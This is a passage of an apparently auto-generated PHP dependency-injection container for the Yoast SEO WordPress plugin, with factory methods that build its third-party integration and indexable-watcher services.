$this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] = new \Yoast\WP\SEO\Helpers\Woocommerce_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Article_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Article_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Schema\\Article_Helper'] = new \Yoast\WP\SEO\Helpers\Schema\Article_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications']) ? $this->services['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications'] : $this->getContentTypeVisibilityDismissNotificationsService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Support_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Support_Integration
     */
    protected function getSupportIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Support_Integration'] = new \Yoast\WP\SEO\Integrations\Support_Integration(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] : $this->getShortLinkHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\AMP' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\AMP
     */
    protected function getAMPService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\AMP'] = new \Yoast\WP\SEO\Integrations\Third_Party\AMP(${($_ = isset($this->services['Yoast\\WP\\SEO\\Integrations\\Front_End_Integration']) ? $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End_Integration'] : $this->getFrontEndIntegrationService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\BbPress' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\BbPress
     */
    protected function getBbPressService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\BbPress'] = new \Yoast\WP\SEO\Integrations\Third_Party\BbPress(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Elementor' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\Elementor
     */
    protected function getElementorService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Elementor'] = new \Yoast\WP\SEO\Integrations\Third_Party\Elementor(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper())) && false ?: '_'}, new \Yoast\WP\SEO\Elementor\Infrastructure\Request_Post());
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Exclude_Elementor_Post_Types' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\Exclude_Elementor_Post_Types
     */
    protected function getExcludeElementorPostTypesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_Elementor_Post_Types'] = new \Yoast\WP\SEO\Integrations\Third_Party\Exclude_Elementor_Post_Types();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Exclude_WooCommerce_Post_Types' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\Exclude_WooCommerce_Post_Types
     */
    protected function getExcludeWooCommercePostTypesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_WooCommerce_Post_Types'] = new \Yoast\WP\SEO\Integrations\Third_Party\Exclude_WooCommerce_Post_Types();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Jetpack' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\Jetpack
     */
    protected function getJetpackService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Jetpack'] = new \Yoast\WP\SEO\Integrations\Third_Party\Jetpack();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\W3_Total_Cache' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\W3_Total_Cache
     */
    protected function getW3TotalCacheService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\W3_Total_Cache'] = new \Yoast\WP\SEO\Integrations\Third_Party\W3_Total_Cache();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\WPML' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\WPML
     */
    protected function getWPMLService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML'] = new \Yoast\WP\SEO\Integrations\Third_Party\WPML();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\WPML_WPSEO_Notification' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\WPML_WPSEO_Notification
     */
    protected function getWPMLWPSEONotificationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML_WPSEO_Notification'] = new \Yoast\WP\SEO\Integrations\Third_Party\WPML_WPSEO_Notification(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] : $this->getShortLinkHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast_Notification_Center']) ? $this->services['Yoast_Notification_Center'] : $this->getYoastNotificationCenterService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_WPSEO_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_WPSEO_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_WPSEO_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\WPML_WPSEO_Conditional())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Web_Stories' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\Web_Stories
     */
    protected function getWebStoriesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories'] = new \Yoast\WP\SEO\Integrations\Third_Party\Web_Stories(${($_ = isset($this->services['Yoast\\WP\\SEO\\Integrations\\Front_End_Integration']) ? $this->services['Yoast\\WP\\SEO\\Integrations\\Front_End_Integration'] : $this->getFrontEndIntegrationService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Web_Stories_Post_Edit' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\Web_Stories_Post_Edit
     */
    protected function getWebStoriesPostEditService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories_Post_Edit'] = new \Yoast\WP\SEO\Integrations\Third_Party\Web_Stories_Post_Edit();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Wincher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\Wincher
     *
     * @deprecated Yoast\WP\SEO\Integrations\Third_Party\Wincher is deprecated since version 21.6!
     */
    protected function getWincherService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher is deprecated since version 21.6!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher'] = new \Yoast\WP\SEO\Integrations\Third_Party\Wincher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Wincher_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Wincher_Helper'] : $this->getWincherHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Wincher_Publish' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\Wincher_Publish
     */
    protected function getWincherPublishService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher_Publish'] = new \Yoast\WP\SEO\Integrations\Third_Party\Wincher_Publish(${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Wincher_Enabled_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Wincher_Enabled_Conditional'] : $this->getWincherEnabledConditionalService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action'] : $this->getWincherKeyphrasesActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action'] : $this->getWincherAccountActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\WooCommerce' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\WooCommerce
     */
    protected function getWooCommerce2Service()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce'] = new \Yoast\WP\SEO\Integrations\Third_Party\WooCommerce(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Replace_Vars']) ? $this->services['WPSEO_Replace_Vars'] : $this->getWPSEOReplaceVarsService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer']) ? $this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] : $this->getMetaTagsContextMemoizerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] : $this->getPaginationHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] = new \Yoast\WP\SEO\Helpers\Woocommerce_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\WooCommerce_Post_Edit' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\WooCommerce_Post_Edit
     */
    protected function getWooCommercePostEditService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce_Post_Edit'] = new \Yoast\WP\SEO\Integrations\Third_Party\WooCommerce_Post_Edit();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Woocommerce_Permalinks' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\Woocommerce_Permalinks
     */
    protected function getWoocommercePermalinksService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Woocommerce_Permalinks'] = new \Yoast\WP\SEO\Integrations\Third_Party\Woocommerce_Permalinks(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Wordproof' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\Wordproof
     *
     * @deprecated Yoast\WP\SEO\Integrations\Third_Party\Wordproof is deprecated since version 22.10!
     */
    protected function getWordproofService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wordproof is deprecated since version 22.10!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wordproof'] = new \Yoast\WP\SEO\Integrations\Third_Party\Wordproof(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Wordproof_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Wordproof_Helper'] : $this->getWordproofHelperService()) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Wordproof_Integration_Toggle' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Third_Party\Wordproof_Integration_Toggle
     *
     * @deprecated Yoast\WP\SEO\Integrations\Third_Party\Wordproof_Integration_Toggle is deprecated since version 21.6!
     */
    protected function getWordproofIntegrationToggleService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wordproof_Integration_Toggle is deprecated since version 21.6!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wordproof_Integration_Toggle'] = new \Yoast\WP\SEO\Integrations\Third_Party\Wordproof_Integration_Toggle(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Wordproof_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Wordproof_Helper'] : $this->getWordproofHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Uninstall_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Uninstall_Integration
     */
    protected function getUninstallIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Uninstall_Integration'] = new \Yoast\WP\SEO\Integrations\Uninstall_Integration();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Addon_Update_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Addon_Update_Watcher
     */
    protected function getAddonUpdateWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Addon_Update_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Addon_Update_Watcher();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Auto_Update_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Auto_Update_Watcher
     */
    protected function getAutoUpdateWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Auto_Update_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Auto_Update_Watcher(${($_ = isset($this->services['Yoast_Notification_Center']) ? $this->services['Yoast_Notification_Center'] : $this->getYoastNotificationCenterService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Ancestor_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Ancestor_Watcher
     */
    protected function getIndexableAncestorWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Ancestor_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Ancestor_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'] : $this->getIndexableHierarchyBuilderService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository'] : $this->getIndexableHierarchyRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Attachment_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Attachment_Watcher
     */
    protected function getIndexableAttachmentWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Attachment_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Attachment_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] : $this->getIndexingHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Attachment_Cleanup_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Attachment_Cleanup_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Attachment_Cleanup_Helper'] = new \Yoast\WP\SEO\Helpers\Attachment_Cleanup_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast_Notification_Center']) ? $this->services['Yoast_Notification_Center'] : $this->getYoastNotificationCenterService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Author_Archive_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Author_Archive_Watcher
     */
    protected function getIndexableAuthorArchiveWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Archive_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Author_Archive_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Author_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Author_Watcher
     */
    protected function getIndexableAuthorWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Author_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] : $this->getIndexableBuilderService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Category_Permalink_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Category_Permalink_Watcher
     */
    protected function getIndexableCategoryPermalinkWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Category_Permalink_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Category_Permalink_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] : $this->getTaxonomyHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Date_Archive_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Date_Archive_Watcher
     */
    protected function getIndexableDateArchiveWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Date_Archive_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Date_Archive_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] : $this->getIndexableBuilderService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_HomeUrl_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_HomeUrl_Watcher
     */
    protected function getIndexableHomeUrlWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_HomeUrl_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_HomeUrl_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Home_Page_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Home_Page_Watcher
     */
    protected function getIndexableHomePageWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Home_Page_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Home_Page_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']) ? $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] : $this->getIndexableBuilderService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Permalink_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Permalink_Watcher
     */
    protected function getIndexablePermalinkWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Permalink_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Permalink_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] : $this->getTaxonomyHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Meta_Watcher' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Meta_Watcher
     */
    protected function getIndexablePostMetaWatcherService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Meta_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Meta_Watcher(${($_ = isset($this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Watcher']) ? $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Watcher'] : $this->getIndexablePostWatcherService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Type_Archive_Watcher' shared autowired service.
     *
